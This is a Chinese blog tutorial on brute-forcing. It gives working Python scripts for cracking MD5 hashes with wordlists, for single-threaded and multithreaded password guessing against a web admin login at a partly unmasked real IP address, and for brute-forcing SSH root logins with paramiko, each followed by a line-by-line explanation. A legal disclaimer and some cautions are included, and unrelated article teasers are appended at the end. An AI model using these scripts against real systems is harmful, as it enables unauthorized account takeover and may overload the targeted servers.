《系统爆破:MD5易破,后台登录可爆破?》
声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
爆破Sales系统
一、爆破MD5 场景:已知MD5的加密字符串,如何得知明文?
解决方案:
算法碰撞:一串128位的MD5(32位16进制),其组合数量:2^128 字典碰撞:给定一个字典文件,读取里面的密钥明文,对其进行MD5加密,再和目标字符串进行对比,如果相同,则明文找到。
二、爆破后台
-
验证登录请求
-
已知用户名,爆破密码
-
未知用户名,未知密码爆破
三、爆破条件与防范
-
登录成功或失败的条件可验证
-
服务器端允许多次失败登录而不会禁止
基于md5爆破-源码
import hashlib
import threading
import time
import requests# 爆破md5
def md5(source):with open('字典/常见字典1000.txt') as file:pw_list = file.readlines()with open('字典/数字字母符号型1000+.txt') as file:pw_list2 = file.readlines()# 追加字典pw_list.extend(pw_list2)# 遍历列表,逐个对比for password in pw_list:if hashlib.md5(password.strip().encode()).hexdigest() == source:print(f'成功破解,密码是:{password.strip()}')# 爆破某后台——仅爆破密码
# 单线程爆破
def ws_single():with open('字典/常见字典1000.txt') as file:pw_list = file.readlines()url = 'http://111.21.xxx.xxx:9090/login'count = 0for password in pw_list:data = {'username': 'admin', 'password': password.strip(), 'rememberMe': 'false'} # 有时有验证码,需要另外操作resp = requests.post(url=url, data=data)if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:print(f'可能成功,密码为:{password.strip()}')count += 1print(f'共计尝试{count}次')exit()# 同时,由于多线程并发登录,导致服务器压力剧增(DOS),进而服务器的响应时间会显著变慢
# 爆破某后台——不知账号不知密码
# 多线程爆破
count = 0def ws_thread(username):with open('字典/常见弱口令字典1000.txt') as file:pw_list = file.readlines()url = 'http://111.21.xxx.xxx:9090/login'global countfor password in pw_list:data = {'username': username, 'password': password.strip(), 'rememberMe': 'false'} # 有时有验证码,需要另外操作resp = requests.post(url=url, data=data)if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')exit()count += 1print(f'共计尝试{count}次')# 如果用户字典有5000条怎么处理if __name__ == '__main__':# md5('cbb11ed87dc8a95d81400c7f33c7c171')with open('字典/2017_top100.txt') as file:user_list = file.readlines()for username in user_list:threading.Thread(target=ws_thread, args=(username.strip(),)).start()
基于md5爆破-源码
这段代码的主要目的是通过暴力破解的方式来尝试恢复MD5哈希值对应的明文密码,以及尝试登录到一个后台系统。以下是对代码的详细分析:
1. 导入必要的库
import hashlib
import threading
import time
import requests
-
hashlib
:用于计算MD5哈希值。 -
threading
:用于实现多线程,提高爆破效率。 -
time
:用于时间相关的操作(虽然在这个代码中没有使用)。 -
requests
:用于发送HTTP请求。
2. 爆破MD5
def md5(source):with open('字典/常见弱口令字典1000.txt') as file:pw_list = file.readlines()with open('字典/数字字母符号型1000+.txt') as file:pw_list2 = file.readlines()pw_list.extend(pw_list2)for password in pw_list:if hashlib.md5(password.strip().encode()).hexdigest() == source:print(f'成功破解,密码是:{password.strip()}')
-
读取两个字典文件中的密码列表。
-
将两个列表合并。
-
遍历每个密码,计算其MD5哈希值并与目标哈希值进行比较。
-
如果匹配成功,打印出密码。
3. 单线程爆破后台密码
def ws_single():with open('字典/常见弱口令字典1000.txt') as file:pw_list = file.readlines()url = 'http://111.21.250.30:9090/login'count = 0for password in pw_list:data = {'username': 'admin', 'password': password.strip(), 'rememberMe': 'false'}resp = requests.post(url=url, data=data)if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:print(f'可能成功,密码为:{password.strip()}')count += 1print(f'共计尝试{count}次')exit()
-
读取密码字典。
-
对指定的URL发送POST请求,尝试登录。
-
如果响应中不包含错误信息,认为登录可能成功。
-
统计尝试次数并退出。
4. 多线程爆破后台账号密码
count = 0def ws_thread(username):global countwith open('字典/常见弱口令字典1000.txt') as file:pw_list = file.readlines()url = 'http://111.21.250.30:9090/login'for password in pw_list:data = {'username': username, 'password': password.strip(), 'rememberMe': 'false'}resp = requests.post(url=url, data=data)if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')exit()count += 1print(f'共计尝试{count}次')if __name__ == '__main__':with open('字典/2017_top100.txt') as file:user_list = file.readlines()for username in user_list:threading.Thread(target=ws_thread, args=(username.strip(),)).start()
-
读取用户名字典。
-
对每个用户名启动一个线程,尝试使用密码字典中的密码进行登录。
-
如果登录成功,打印出用户名和密码并退出。
-
使用全局变量
count
统计尝试次数。
注意事项和潜在问题
-
法律和道德问题:未经授权的暴力破解行为是违法的,可能会导致严重的法律后果。
-
性能问题:多线程爆破会显著增加服务器的压力,可能导致服务器响应变慢甚至崩溃。
-
安全性问题:代码中没有处理验证码等安全措施,实际应用中可能需要额外的处理。
-
错误处理:代码中没有对网络请求的异常进行处理,可能会导致程序崩溃。
改进建议
-
增加异常处理:对网络请求和其他可能出现的异常进行处理,提高程序的健壮性。
-
优化多线程:可以考虑使用线程池来管理线程,避免创建过多线程导致系统资源耗尽。
-
增加延迟:在每次请求之间增加适当的延迟,减少对服务器的压力。
-
处理验证码:如果目标系统有验证码,需要实现验证码的处理逻辑。
这段代码展示了暴力破解的基本思路,但在实际应用中需要非常谨慎,确保有合法的授权和充分的准备。
ssh多线程爆破—源码
import time
import requests
import threading
import hashlib# 每个任务分10条
count = 0def threads(sublist):with open('字典/常见弱口令字典1000.txt') as file:pw_list = file.readlines()url = 'http://111.21.xxx.xxx:9090/login'global countfor username in sublist:for password in pw_list:data = {'username': username.strip(), 'password': password.strip(), 'rememberMe': 'false'} # 有时有验证码,需要另外操作resp = requests.post(url=url, data=data)if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')count += 1print(f'共计尝试{count}次')exit()# 爆破ssh
import paramikodef ssh_creak():with open('字典/2017_top100.txt') as file:pw_list = file.readlines()for password in pw_list:try:transport = paramiko.Transport(('192.168.xxx.xxx', 22))transport.connect(username='root', password=password.strip())print(f"请求登录,密码为:{password.strip()}")except:passtime.sleep(2)# ssh = paramiko.SSHException()# ssh._transport = transportif __name__ == '__main__':# 每个线程负责10个用户# with open('字典/常见字典1000.txt') as file:# user_list = file.readlines()# for i in range(0, len(user_list), 10):# sublist = user_list[i:i + 10]# threading.Thread(target=threads, args=(sublist,)).start()ssh_creak()
ssh多线程爆破—源码解析
这段代码主要实现了两个功能:一是对指定URL的登录接口进行暴力破解尝试,二是尝试使用密码字典对SSH服务进行暴力破解。
一、登录接口暴力破解部分
- 全局变量与函数定义
-
定义了全局变量
count
用于计数尝试次数。 threads
函数接受一个用户名子列表作为参数。-
函数内部首先打开包含密码的字典文件
常见字典1000.txt
,读取其中的密码列表pw_list
。 -
设定目标登录接口的
url
为http://111.21.xxx.xxx:9090/login
。 - 对于子列表中的每个用户名,遍历密码列表。
-
构造包含用户名、密码和
rememberMe
字段(值为false
)的data
字典。 -
使用
requests.post
方法向目标url
发送登录请求。 -
如果响应文本中不包含表示用户不存在或密码错误的特定字符串
{"msg":"用户不存在/密码错误","code":500}
,则认为可能是正确的账号密码组合并打印出来。 -
每次尝试后
count
加1,并在处理完一个用户名的所有密码尝试后打印出总的尝试次数,然后退出程序。
-
-
-
- 多线程相关(被注释部分)
-
原本计划是读取用户名字典文件(如
常见字典1000.txt
),将用户名列表按每10个一组划分成子列表。 -
针对每个子列表启动一个线程,线程的目标函数为
threads
,并传入相应的子列表作为参数。
-
二、SSH暴力破解部分
ssh_creak
函数-
打开名为
2017_top100.txt
的密码字典文件,读取其中的密码列表pw_list
。 - 对于密码列表中的每个密码:
-
尝试使用
paramiko.Transport
建立到192.168.xxx.xxx
地址的SSH连接,端口为22,用户名固定为root
,密码为当前尝试的密码。 -
如果连接成功(即没有抛出异常),则打印出正在尝试的密码。
-
无论连接是否成功,都会暂停2秒(
time.sleep(2)
),这可能是为了避免过于频繁的连接尝试导致被目标主机封禁。
-
-
三、整体代码的问题与风险
- 效率问题
-
在登录接口暴力破解部分,每次处理完一个用户名就退出程序,这可能不是预期的行为,如果是多线程执行,这样会导致只有一个线程执行完就结束整个程序。
-
对于SSH暴力破解部分,没有使用多线程或多进程来加速尝试过程,在密码字典较大时效率会很低。
-
- 安全性与合规性问题
-
这种暴力破解行为如果没有得到目标系统的授权,是不道德且可能违反法律法规的行为。
-
在实际应用中,目标系统可能会有各种防护措施,如验证码、登录失败次数限制等,这段代码没有考虑这些情况。
-
四、改进建议
- 修复多线程逻辑
-
如果要使用多线程进行登录接口的暴力破解,应该修正线程启动部分的代码,确保所有线程都能正常执行而不是只执行一个就退出。
-
- 优化SSH暴力破解效率
-
可以考虑使用多线程或多进程来提高SSH密码尝试的速度,但要注意遵守法律法规和目标系统的使用规则。
-
- 增加防护措施应对机制
-
如果是在合法的安全测试场景下,应该增加代码来处理目标系统可能存在的验证码、登录失败次数限制等情况。
-
相关文章:
《系统爆破:MD5易破,后台登录可爆破?》
声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。 爆破Sales系统 一、爆破MD5 场景:已知MD5的加密字符串,如何得知明…...
基于微信小程序的书籍销售系统设计与实现(LW+源码+讲解)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...
SpringData-Redis缓存
Spring Framework是领先的全堆栈Java/JEE应用程序框架。它提供了一个轻量级容器和一个通过使用依赖注入、AOP和可移植服务抽象实现的非侵入性编程模型。 NoSQL存储系统为传统RDBMS提供了一种横向可扩展性和速度的替代方案。就实现而言,键值存储代表NoSQL空间中最大…...
Hadoop3.3.4伪分布式环境搭建
文章目录 前言一、准备1. 下载Hadoop2. 配置环境变量3. 配置免密 二、Hadoop配置1. hadoop-env.sh2. hdfs-site.xml3. core-site.xml4. mapred-site.xml5. yarn-site.xml 三、格式化四、启动 前言 hadoop学习——伪分布式环境——普通用户搭建 一、准备 1. 下载Hadoop 2. 配…...
【VUE 指令学习笔记】
v-bind :单向绑定解析表达式,可简写为:xxx v-model :双向数据绑定。 v-for:遍历数组/对象/字符串 v-on:绑定事件监听,可简写为。 v-if:条件渲染(动态控制节点是否存存在) v-else:条件渲染(动态控制节点是否存存在) v-show:条件渲染…...
【深度学习】布匹寻边:抓边误差小于3px【附完整链接】
布匹寻边 项目简介 布匹寻边是指布料裁剪过程中,通过AI寻边技术自动识别布匹的边缘,将检测到的边缘信息输出,确保裁剪的准确性,减少浪费,并提高生产效率。 项目需求 将打满针眼的布匹边缘裁剪掉,且误差小…...
【学习笔记】理解深度学习的基础:机器学习
1. 机器学习基础 1.1 机器学习的定义与重要性 定义:深度学习是机器学习的一种特定形式。为了深入理解深度学习,必须牢固掌握机器学习的基本原理。机器学习算法是一种能够从数据中学习的算法,通过经验E在任务T上提高性能度量P(Mi…...
提升租赁效率的租赁小程序全解析
内容概要 在如今快节奏的生活中,租赁小程序俨然成为了提升租赁效率的一把利器。无论是个人还是企业,都会因其便捷的功能而受益。简单来说,租赁小程序能让繁琐的租赁流程变得轻松、高效。在这里,我们将带您畅游租赁小程序的海洋&a…...
Windows自动化Python pyautogui RPA操作
依赖包 import time import pyautogui import pyperclip import os import psutil from pywinauto.application import Application睡眠: pyautogui.sleep(1)鼠标事件: pyautogui.moveTo(100, 100, duration0.25) pyautogui.click(100, 100, duration0.…...
蓝桥杯_B组_省赛_2022(用作博主自己学习)
题目链接算法11.九进制转十进制 - 蓝桥云课 进制转换 21.顺子日期 - 蓝桥云课 时间与日期 31.刷题统计 - 蓝桥云课 时间与日期 41.修剪灌木 - 蓝桥云课 思维 51.X 进制减法 - 蓝桥云课 贪心 61.统计子矩阵 - 蓝桥云课 二维前缀和 71.积木画 - 蓝桥云课 动态规划 82.扫雷 - 蓝桥…...
RK3568 Android 13 内置搜狗输入法小计
问:为什么写? 答:网上搜出来的都试过了,不行!下面直接上代码和注意事项! 首先到这个目录(/RK3568/Rockchip_Android13_SDK_Release/device/rockchip/rk356x/tl3568_evm/preinstall)…...
单片机Day1
目录 一.什么是单片机? 二.单片机的组成 三.封装形式 四.优势 五.分类 通用型: 专用型: 按处理的二进制位可以分为: 六.应用: 七.发展趋势 1.增加CPU的数据总线宽度。 2.存储器的发展。 3.片内1/0的改进 …...
《机器学习》之贝叶斯(Bayes)算法
目录 一、前言 二、贝叶斯算法原理解析 1、贝叶斯公式 2、朴素贝叶斯算法 3、计算步骤 4、例题: (1)、 计算先验概率 (2)、计算条件概率 (3)、计算后验概率 (4)…...
Redis实现高效的负载均衡算法
1. Redis存储设计 我们需要在 Redis 中存储以下信息: 配置列表(List<Config>):存储所有配置项。总权重:存储所有配置的总权重。当前轮询状态:存储当前的轮询状态(如当前随机值或索引&am…...
虚拟文件系统 VFS
目录 虚拟文件系统 VFS 文件系统挂载过程 虚拟文件系统 VFS 统一标准的系统调用接口: VFS定义了一组标准的文件操作API,如open(), read(), write(), close()等,使得用户空间的应用程序无需关心底层文件系统的具体类型。 下层文件系统必须实现…...
基于Android的民宿租赁系统的设计与实现
博主介绍:java高级开发,从事互联网行业多年,熟悉各种主流语言,精通java、python、php、爬虫、web开发,已经做了多年的设计程序开发,开发过上千套设计程序,没有什么华丽的语言,只有实…...
数据链路层-STP
生成树协议STP(Spanning Tree Protocol) 它的实现目标是:在包含有物理环路的网络中,构建出一个能够连通全网各节点的树型无环逻辑拓扑。 选举根交换机: 选举根端口: 选举指定端口: 端口名字&…...
OceanBase环境搭建与熟悉全攻略:开启分布式数据库探索之旅
《OceanBase环境搭建与熟悉全攻略:开启分布式数据库探索之旅》 在当今数字化浪潮汹涌澎湃的时代,数据量呈爆炸式增长,业务对数据库的性能、可靠性和扩展性提出了前所未有的要求。OceanBase作为一款极具创新性的分布式数据库,正逐…...
tensor core实现flash_attn_mma_share_kv源码分析
一 源码分析 1.1 函数入口 void flash_attn_mma_stages_split_q_shared_kv(torch::Tensor Q, torch::Tensor K, torch::Tensor V, torch::Tensor O, int stages) {CHECK_TORCH_TENSOR_DTYPE(Q, torch::kHalf) // Q [B,H,N,D]CHECK_TORCH_TENSOR_DTYPE(K, torch::kHalf) // K …...
【源码解析】Java NIO 包中的 MappedByteBuffer
文章目录 1. 前言2. MappedByteBuffer3. 例子4. 属性5. 构造器6. mappingOffset、mappingAddress、mappingLength7. isLoaded 判断内存是否还在内存中8. load 方法将 ByteBuffer 加载到 Page Cache 中9. force 刷盘 1. 前言 上一篇文章我们介绍了 HeapByteBuffer 的源码&#…...
【Docker系列】容器内目录显示异常的解决之道
💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...
echarts:dataZoom属性横向滚动条拖拽不生效
问: 拖拽的过程中,第一次向右拖拽正常,然后就报错: echarts报错: var pointerOption pointerShapeBuilder[axisPointerType](axis,pixeValue,otherExtent),(axis,pixeValue,otherExtent)下划线红色报错:…...
25/1/12 算法笔记 剖析Yolov8底层逻辑
YOLOv8 是一种基于深度学习的目标检测和图像分割模型,属于 YOLO(You Only Look Once)系列的最新版本。YOLO 系列模型以其高效的实时目标检测能力而闻名,YOLOv8 在此基础上进行了一些优化和改进。 Yolov8的主要特点: …...
Python双指针
双指针 双指针:在区间操作时,利用两个下标同时遍历,进行高效操作 双指针利用区间性质可以把 O ( n 2 ) O(n^2) O(n2) 时间降低到 O ( n ) O(n) O(n) 反向扫描 反向扫描: l e f t left left 起点,不断往右走&…...
1、docker概念和基本使用命令
docker概念 微服务:不再是以完整的物理机为基础的服务软件,而是借助于宿主机的性能。以小量的形式,单独部署的应用。 docker:是一个开源的应用容器引擎,基于go语言开发的,使用时apache2.0的协议。docker是…...
数据结构与算法之链表: LeetCode 92. 反转链表 II (Ts版)
反转链表 II https://leetcode.cn/problems/reverse-linked-list-ii/description/ 描述 给你单链表的头指针 head 和两个整数 left 和 right ,其中 left < right请你反转从位置 left 到位置 right 的链表节点,返回 反转后的链表 示例 1 输入&…...
【PPTist】插入形状、插入图片、插入图表
一、插入形状 插入形状有两种情况,一种是插入固定的形状, 一种是插入自定义的形状。 插入固定的形状时,跟上一篇文章 绘制文本框 是一样一样的,都是调用的 mainStore.setCreatingElement() 方法,只不多传的类型不一…...
三台Centos7.9中Docker部署Redis集群
Docker部署Redis集群 1. 安装 Docker 和 Docker Compose安装 Docker:安装 Docker Compose: 2. 配置 Redis 容器和网络3. 启动 Redis 容器4. 设置 Redis 集群4.1 集群创建异常处理 5. 验证和测试总结 如果 CentOS 服务器上还没有安装 Docker 和 Docker Co…...
Entity 的材质(棋盘、条纹、网格)
Entity 的材质 普通物体的材质 import { nextTick, onMounted, ref } from vue import * as Cesium from cesium // console.log(Cesium, Cesium)const viewer ref<any>(null)onMounted(() > { ... })let material Cesium.Color.YELLOW.withAlpha(0.5)Cesium.Colo…...
MACPA:fMRI连接性分析的新工具
摘要 不同脑区的共同激活为它们之间的功能交互或连接提供了一个有价值的衡量指标。元分析连接模型(MACM)是一种经过充分验证的研究某一特定区域共激活模式的方法,该方法对基于任务的功能磁共振成像(task-fMRI)数据进行种子点(seed-based)元分析。虽然MACM是一种强大…...
做网站 写脚本是什么/网上营销新观察网
计算机专业课培训.ppt计算机专业课培训 合肥学院 王 骏 Email:anetpoint126.com Blog: /csharpman 考试大纲—计算机科学技术基础 1. 计算机基础知识 1.1 计算机的特点、分类及其应用 特点:运算速度快,运算精度高,存储功能强&…...
兴国做网站/专业的seo搜索引擎优化培训
visual tft 图层,强大的触摸输入_SEO狼术 Visual TFT现在支持顶级生提供的17种图像控制器。您可以通过使用我们的帮助台并提交票证,让我们确切地知道要查看的图像控件,从而成为过程的一部分。 多种屏幕尺寸和两种触摸显示类型 Visual TFT总共支持17个TFT…...
泉州网站建设学徒招聘/b2b平台是什么意思啊
需求分析(描述自己对需求的理解,以及后续扩展的可能性) 实现一个命令行程序,要求: 自动生成小学四则运算题目(加,减,乘,除)支持整数支持多运算符(…...
类似pinterest的网站/搜索引擎
PetaPoco是一种轻量级的ORM框架,可同时运行在.net与mono平台上; 一.PetaPoco如何使用两个以上的数据库? 在PetaPoco中有一个SingleDbFactory的仓储类,她负责取得链接数据库字符串的KEY,所以,想要在一个数据…...
域名查询地址/北京seo网络优化招聘网
题意: sol: 考虑floyed 直接暴力做的话复杂度是kn^3会炸。 考虑一个比较神仙的分块做法。 注意到我们是可以直接求单独某个k的矩阵,使用矩阵快速幂即可(取min的矩阵乘法)。 单独求一次的复杂度是O(n^3logk)。 设块的长度为100。 对…...
丹徒网站建设咨询/影响关键词优化的因素
硬件平台:飞思卡尔IMX6 内核版本:kernel3.0.35 问题来源: 开发板的默认显示方式是FPC接口800*480的屏,本项目中用到的屏是工业级的1024*768接口的LVDS屏,更换屏之后,除了移植相应的屏驱动和触摸驱动之外&…...